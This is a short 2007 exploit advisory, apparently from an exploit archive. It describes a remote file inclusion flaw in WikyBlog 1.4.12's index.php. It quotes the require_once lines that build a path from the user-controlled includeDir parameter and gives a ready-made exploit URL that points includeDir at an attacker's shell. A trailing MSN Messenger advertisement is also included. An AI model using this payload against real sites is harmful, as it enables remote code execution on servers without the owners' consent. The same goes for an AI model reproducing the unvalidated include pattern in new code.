Home / exploits

PDF

wikyblog-rfi.txt

Posted on 17 May 2007

## WikyBlog-1.4.12(index.php) Remote File Include Vulnerability ##

#Found by : nkillers (nkillers_at_hotmail.com)

#Download
http://jaist.dl.sourceforge.net/sourceforge/wikyblog/WikyBlog-1.4.12.zip

# File: ./index.php
require_once($includeDir.'/wiki2.php');
require_once($includeDir.'/wiki3.php');


# Exploit http://site.com/[path]/index.php?includeDir=shell?

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

 

TOP